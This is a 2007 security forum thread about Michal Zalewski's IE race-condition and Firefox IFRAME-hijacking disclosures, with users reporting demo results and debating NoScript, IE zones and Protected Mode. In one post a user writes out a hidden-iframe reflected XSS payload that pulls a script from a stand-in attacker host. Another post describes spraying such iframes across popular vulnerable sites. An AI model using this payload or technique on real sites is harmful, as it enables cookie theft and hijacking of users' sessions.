![]() |
|
#1
|
||||
|
||||
|
Michal Zalewski has published details of 4 new serious vulnerabilities in IE and Firefox. There are demo tests for each vulnerability. The most serious one is an IE page update race condition which is rated critical. Microsoft has already responded that they are looking into this further.
He explains the IE vulnerability: "In short, when Javascript code instructs MSIE to navigate away from a page that meets same-domain origin policy (and hence can be scriptually accessed and modified by the attacker) to an unrelated third-party site, there is a window of opportunity for concurrently executed Javascript to perform actions with the permissions for the old page, but actual content for the newly loaded page, for example: read or set victim.document.cookie, arbitrarily alter document DOM, including changing form submission URLs, injecting code, or even crashing the browser due to memory corruption while reading and writing not fully initialized data structures. In other words, the entire security model of the browser collapses like a house of cards and renders you vulnerable to a plethora of nasty attacks; and local system compromise is not out of question, either." http://lcamtuf.coredump.cx/ierace/ I did the demo for the race condition using IE6 (IE7 is also vulnerable). Perhaps the results for me were due to my not so conventional IE cookie handling. IE cookie handling popped up and asked if I wanted Google to set a cookie and I said no and that threw IE into a locked loop and the only way out was to use Task Manager to kill IE. (The demo does state that you have to have cookies accepted to do the demo properly so I should have told IE to accept the cookie but I have never accepted a Google cookie and didn't want to start just for this demo). The most serious of the Firefox vulnerabilities reported involves a cross-site IFRAME hijacking bug. There are two parts to that test. The one that relies on about:blank frame caused Fx to freeze on a blank screen with 80% CPU usage. With the second test that does not rely on about:blank frame, I got a Google page saying OWNED repeatedly down the left column and Fx would not stop loading the page and I could not close the tab. http://lcamtuf.coredump.cx/ifsnatch/ http://blogs.zdnet.com/security/?p=254 |
|
#2
|
||||
|
||||
|
I put both pages to trusted and allowed a cookie for google.pl. One, still closeable, tab looks like in an endless loop, but in 2 minutes it ended and wrote, that browser is not vulnerable. I allowed all cookies and IE7 still passed, so I disabled protected mode for the trusted zone and "finally" the IE7 failed. So it all depends on settings, as most exploits expect.
![]()
__________________
Real-Time: Nothing | On-Demand: Nothing [ Lenovo E525 | Yandex | CCleaner | KC SUMo | WiseCare 365 ] ( BlackViper / DEP / OpenDNS / UAC / WiFiRouter ) |
|
#3
|
|||
|
|||
|
Needless to say, none of the Firefox exploits had a chance to survive NoScript
![]()
__________________
XSS me if you can
|
|
#5
|
|||
|
|||
|
I´m not sure what to think about these tests, how do you know if they work or not? With the first FF exploit I get to see a dialog which tells me they can intercept my keystrokes or something? And with the second one, I get to see a standard FF prompt asking me if I want to download "evilscript.html".
And the IE exploits don´t seem to work at all, might be because of my system settings. |
|
#6
|
|||
|
|||
|
Quote:
Actually , Tom_SK's test showed that Windows Vista's Internet Explorer 7 with default settings (by default Protected Mode is ON) , is not vulnerable Last edited by ASpace : June 5th, 2007 at 04:37 PM. |
|
#7
|
||||
|
||||
|
That is right HiTech_boy, well I am glad, that at least someone reads, what I write.
![]() By the way, IE with no scripts is as safe as any other browsers as well and that is that. This is the second zero day exploit, I know about, that is protected by protected mode.
__________________
Real-Time: Nothing | On-Demand: Nothing [ Lenovo E525 | Yandex | CCleaner | KC SUMo | WiseCare 365 ] ( BlackViper / DEP / OpenDNS / UAC / WiFiRouter ) |
|
#8
|
|||
|
|||
|
Quote:
IE has Zones, but they're not nearly as usable as NoScript. Furthermore, IE Zones won't protect your trusted sites from reflected XSS, while NoScript does and that is that.
__________________
XSS me if you can
|
|
#9
|
|||
|
|||
|
Quote:
From the test page: Quote:
It's like removing your roof to see whether or not your floor will get wet in a rain. You can argue, Well it shows what *could* happen. OK, but how long as this vulnerability existed? Since the browser was first released, of course - it just lay waiting for someone to discover it. How many more *possible* vulnerabilities do you think are just laying there, waiting to be discovered? The problem is, that there are sites which require javascript to function, and at some point, everyone has to make a decision as to which sites to trust: your bank, for example. Question: How do you decide that yourbank.com can be trusted and that you can confidently enable javascript? regards, -rich ________________________________________________________________ "Talking About Security Can Lead To Anxiety, Panic, And Dread... Or Cool Assessments, Common Sense And Practical Planning..." --Bruce Schneier |
|
#10
|
|||
|
|||
|
Quote:
From your wikipedia reference; Quote:
regards, -rich ________________________________________________________________ "Talking About Security Can Lead To Anxiety, Panic, And Dread... Or Cool Assessments, Common Sense And Practical Planning..." --Bruce Schneier |
|
#11
|
|||
|
|||
|
Quote:
Quote:
Do you mean that reputable sites are immune from XSS vulnerabilities? Or that smart people do not follow any link at all? Quote:
Of course, since you don't use any protection against reflected XSS, I assume you don't even dare to visit any unknown site right? Because some unknown site may contain something like this: <iframe style="visibility: hidden" src="http://some_trusted_site.com/xssable_page?xss_injection=<script%20src=http://evil_hackers.com/xss/some_zalewski_exploit.js></script>"> </iframe> Actual JavaScript-based browser exploits add some fun to the XSS game, don't them? ![]() P.S.: it's not your fault, the part of the Wikipedia article you quoted is quite naive and outdated: nobody in the security community overlooks reflected XSS nowadays.
__________________
XSS me if you can
|
|
#12
|
||||
|
||||
|
Quote:
on which I transact business, and leave it at that. Quote:
Logging in to the ZA site reached from an external link is something else. Quote:
BTW - will this example work if Javascript is disabled? When I tried your original example you posted above -- which also caches a .js file -- it would not work with javascript disabled. Quote:
I still think the part about the "social engineering" element is relevant. regards, -rich ________________________________________________________________ "Talking About Security Can Lead To Anxiety, Panic, And Dread... Or Cool Assessments, Common Sense And Practical Planning..." --Bruce Schneier |
|
#13
|
|||
|
|||
|
Quote:
Quote:
It doesn't work if you use NoScript. That's the whole point of NoScript's "Anti-XSS Protection".
__________________
XSS me if you can
Last edited by elio : June 5th, 2007 at 08:38 PM. |
|
#14
|
|||
|
|||
|
Quote:
|
|
#15
|
|||
|
|||
|
Quote:
provided that at least one "trusted" site exists which has JavaScript enabled and is vulnerable to reflected XSS (like 80% of the web).
__________________
XSS me if you can
|
|
#16
|
|||
|
|||
|
Quote:
At what point does my javascript have to be enabled? What if that site I'm directed to is not trusted? |
|
#17
|
|||
|
|||
|
Quote:
Quote:
To maximize the chances, a malicious web page could simply scrape the content of http://xssed.org/pagerank/ and build a bunch of iframes, one per domain, in the same popularity order (first yahoo.com, then google.com and so on): in most cases, one will fall. Quote:
Nothing happens also if it's trusted and JavaScript is enabled via NoScript ("Allow some_trusted_site.com"), because of 2 defense mechanisms:
__________________
XSS me if you can
|
|
#18
|
|||
|
|||
|
Thanks, elio, for the explanation.
-rich |
|
#19
|
|||
|
|||
|
To avoid being affected by the cross-site IFRAME hijacking bug, you can turn off frames in Firefox.
Type in about:config in the address bar. Locate browser.frames.enabled Right click and select Toggle to change it to False. If you can't find it, right click on an empty space in about:config and click on new--->boolean and input the above-mentioned value and set it to false. Last edited by nadirah : June 7th, 2007 at 05:41 AM. |
|
#20
|
|||
|
|||
|
Quote:
__________________
XSS me if you can
|
|
#22
|
||||
|
||||
|
...and following along even further:
http://it.slashdot.org/article.pl?sid=07/06/05/0046258
__________________
blackhats who help distrowatch OpenBSD [ |
|
#23
|
|||
|
|||
|
Quote:
But do the IE exploits work on your systems? Also, what results do y´all get with the FF exploits? Last edited by Rasheed187 : June 9th, 2007 at 11:29 AM. |
| « Previous Thread | Next Thread » |
| Thread Tools | Search this Thread |
|
|